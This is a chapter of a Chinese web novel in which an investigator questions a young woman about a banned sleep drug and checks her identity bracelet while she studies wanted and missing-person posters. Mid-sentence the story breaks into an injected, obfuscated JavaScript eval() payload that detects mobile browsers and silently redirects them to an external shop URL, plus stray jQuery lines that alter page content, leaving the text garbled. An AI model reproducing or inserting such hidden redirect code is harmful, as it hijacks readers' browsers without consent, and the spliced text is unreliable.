4. 第 4 章
作品:《竹马被通缉了怎么办》 蕾拉盯着宴希鸣看,左右两边的眉毛像是被不干胶粘在了一起般皱了起来,做出的威压表情让她稚嫩的脸立刻苍老了三十岁。
“嘿,别这么看着我,我没有逃跑,这都是你的主观臆断。”
“噢?你没有逃跑,那么是浪花将你从对岸冲到这里来的?”蕾拉顺着宴希鸣的目光也瞧了一眼身后的礁石:“你在东张西望什么?”
一看到蕾拉捕风捉影的迹象再次显现,宴希鸣立刻打断她:“没有的事,我眼皮抽筋了。”
宴希鸣观察着蕾拉脸上细微的变化,看来她不仅是对自己不满意,对这里也很不满意,于是她问:“所以你找到你想要的东西了吗?”
“关你什么事?少瞎打听。”
宴希鸣却盯着她的脸,微微地笑了:“没找到就没找到呗,你对我吼这么大声做什么?如果你想要找到那种东西,最好和当地人搞好关系,你说对吧,这位长官?”
蕾拉撇了撇嘴:“这群人试图诱惑别人的方式很愚蠢,但是东躲西藏的本事却很精妙,不过这次抓了你,也不算没有收获。”
宴希鸣难以掩饰心中的震惊:“我很遗憾,我竟然能给你带来这种感受?”
蕾拉说:“阻止了一个差点陷入不归路的普通人,也算是我日行一善吧,跟我走,不能就这么放你走了!”
如果她的配合能让这位年轻的调查官感觉好点的话,宴希鸣也不是那么抗拒了,如果能把自己手上的手铐解开,那就更好了。
接着他们两人就坐着渔夫的船往洞口外划去。出去的洞口在另外一侧,比进来的狭小入口要宽敞的多,都不需要躺下了,只需要半蹲着就可以,越靠近洞口空气的对流愈加明显了起来,宴希鸣裹紧了领口。
再过了约莫五分钟,两个人从船上跳下来,顺着台阶爬到礁石悬崖的上方,这次的洞穴之旅就算是彻底结束了。
他们两人路过岸边由防水油布搭建的五颜六色的小摊前时,看到了这里熙熙攘攘的人群,这时正是渡城生蚝的旺季,商贩们用刀背在牡蛎壳上一撬,牡蛎肉就敞了出来,沸沸扬扬的喧闹声一时塞满了耳边,宴希鸣感兴趣地往那边打量了好几眼。
警戒所就在离集市不远的地方,外围用铁栅栏围城一圈,里面则是四层楼高的黑色平房,一个门口的守卫正背着枪低头抽烟,见到蕾拉走来立刻将烟蒂熄灭,顺势将铁门打开了。
一楼内部的大堂有身着警服的人要么在窗前奋笔疾书,要么在大声打着电话,只有几个人好奇地瞧了宴希鸣一眼,剩下的人根本无暇顾及她。
宴希鸣第一次来这种地方,避开了他们的视线,将目光放到了更远处,每个人的桌上都很凌乱,厚厚的资料堆得比桌子的围挡还高。
而最里面靠墙的四角桌位,每个人的桌上都几乎没有什么东西,电脑和椅子都处在一种歇业状态,规整的十分不合群。
“里面的座位……”宴希鸣沉思着,突然开口。
“里面的座位怎么了?”蕾拉立刻呛声道。
“要么强迫症,要么根本不上班。”
话音刚落,蕾拉就领着她径直坐到了最内侧的座位上,冷视着她。
“哈哈,我什么也没说。”宴希鸣也冷笑了两声,身体却不由地挺直了起来:“你到底要找我做什么?”
“我问你,今天你到底干什么去的?”
宴希鸣心想,我说我是去看海的话,你也不相信啊。于是她诚实地说道:“我就是对沉睡剂好奇,听有人说那里有卖,我好几个晚上睡不着了,所以想拿来看看。”
“好奇?那东西是你能好奇的吗?你真把它当安眠药用啊?”
“啊,那我知道错了。”
“……你对沉睡剂知道多少?”
“听说,使用沉睡剂能让人梦到美好的事情,类似于做个好梦的安眠药,但是是一种违禁品,不允许公开售卖……”
“为什么你看起来挺聪明的,实际上有点蠢到家了。”蕾拉拿起水杯喝了一口水,又重重地放在桌上:“少好奇一些不该你好奇的,被禁止当然是有原因的,不然赦令大楼禁着玩啊?”
宴希鸣被矮自己一头的人训斥,脸上保持着僵硬而不失礼貌的微笑:“当然,再也不会了。需要我写个保证书什么的吗?”
“哎,不知道为什么,看到你就有点心烦。你把你的蓝环给我,我核对下你的信息。”
蓝环?
宴希鸣低头看向自己手中的白色透明手环。
这是那个人交给自己的,如传达的那样,里面有一笔钱,但也没有很多,足够半年的正常花销,也就是一万五伽元。
蓝环的作用主要有三个,一是身份认证,二是电子支付,三是通讯,然而并不是每个公民都有这个设备。因为高昂的购买和维护费用,很多人是用不起的,尤其是那些贫民窟的人,更是想都不要想,之前他们甚至都不知道蓝环是什么,知道贵族战争结束后,蓝环也慢慢推广,因此现在很多地方也都只能使用纸质伽元进行支付,而有些受到限制的场所,比如首都的中心区都需要持有蓝环的人进行身份核验才可以进入,而那些没有蓝环的人自然是进不去了。
那个人虽然是把蓝环给了她,但自己并不知道这个设备被做过什么手脚,个人信息页只能看到公民编号和姓名,万一被查出什么的话……后果不堪设想。
蕾拉看到她犹豫了很久没说话,疑惑地挑眉:“你愣着干什么?”
“……我被拷着怎么解?”
“……”蕾拉低头在她蓝环内侧左划了一下,蓝环就像手链一样从中间断开,电子纹路也随之漫开,变成了一个矩形的蓝色薄片。
蕾拉将薄片贴在一个盒子一般大小的仪器之中,登入电脑页面输入指令查询,不一会儿,一串信息就跳了出来。
“你叫宴希鸣?”
“嗯。”
“我看看……”
蕾拉快速下划着页面,宴希鸣也不知道她在看什么,目光很是专注,为了缓解自己的紧张,她也转移开视线,反正现在发生什么都已经不是自己左右得了的了。
她将头转向一侧,只看后面的墙壁上,一半是通缉令,一半是失踪告示。
渡城的治安竟然可以如此混乱。
宴希鸣离那一墙的灰褐色再生纸更近了一些,上面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407380|200592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的字体大得十分粗暴,更令人无法移开视线的是右下角那个特殊的纹章。
是白金塔楼的图案,象征着它背后的国家机器——赦令大楼。
今日消息,请渡城市民保持高度警惕。
过去五天,本市已新增十余起失踪案,失联者均为独居或街头流浪人员。(涉及五名青年女性、四名青年男性和四名老年男性,还有流浪者若干),请密切留意此类信息,有线索请联系渡城警所,维护社会治安,人人有责……
此时,从窗外吹来一阵冷风,顺着衣领灌入了她的脖子,也将桌上散开的资料吹的哗哗作响。
风簌簌地吹起那页纸,红色的字连带着塔楼的标志一起在空中飘了起来,鲜艳的即将要跳到她的脸上。
宴希鸣不由地往后退了一步。
“这些人是失踪了吗?”
“是啊。”蕾拉背对着她,看着电脑,从鼻腔里冷哼一声:“你知道他们为什么失踪吗?”
宴希鸣懒得搭腔:“因为沉睡剂。”
“那你可真是答对了一半儿。”
而剩下的一半是?
宴希鸣朝着另一边,通缉栏的地方看去。
一则通缉令则是显眼地吸引了她的目光。
一种蓝紫色的花,画成了一只小鸟的形状,它的尾巴尖尖的向上抱环勾着,还有两个萼片形成的翅膀,不知道是哪个大艺术家亲笔设计的。白金塔楼的形状被一个字母S取代,证明以这个作为标志的罪犯是多么危险……
是什么样的罪犯,让人在通缉他的时候还在瞻前顾后,连信息都不愿意多透露出一点呢?
宴希鸣的心中隐隐有些不祥的预感,那种心悸的感觉又像反胃一样冲上来了。
呼吸,呼吸,一则告示而已。
她缓缓地呼了一口气,正准备将它吐出,蕾拉的一声疑问差点让她气绝而亡。
“咦,宴希鸣,你这个流水记录,很奇怪啊,你真的确定,这是你本人的吗?”
宴希鸣转过头,只见蕾拉早就已经转过身来,看着她的一举一动,脸上的两个眼睛就像探照灯一样把她的脸照的苍白,双手抱胸,一副我已经洞悉了一切的样子。
宴希鸣直视着她的脸。
闪躲在此刻毫无意义。
闪躲解决不了任何问题。
咬死不认,任何和贵族有牵扯的关系在赦令大楼面前都是危险的,她可不想在赦令大楼面前解释自己是如何被贵族关押,又是如何逃窜的,因为据她所知,赦令大楼在面对任何和贵族有关的事情上,猜疑心都是甚之又甚,尤其是对于她自己这么一个知道沉睡剂秘密的人,会不会想要从她嘴里挖掘出更多的东西呢?她不想这么做,尤其是在认为赦令大楼值得信任之前。
“不然,不是我的,难道是你的吗?有什么问题你直说就是了。”
“我就随便说说,而已。你这么紧张干什么?”蕾拉的眼睛眯了眯,半晌她说道:“没想到宴希鸣你,一直以来还是有工作的啊……”
“……”宴希鸣脸黑了黑,努力让自己镇定下来:“你说的这叫什么话?难道你一直以为我是无业游民?”

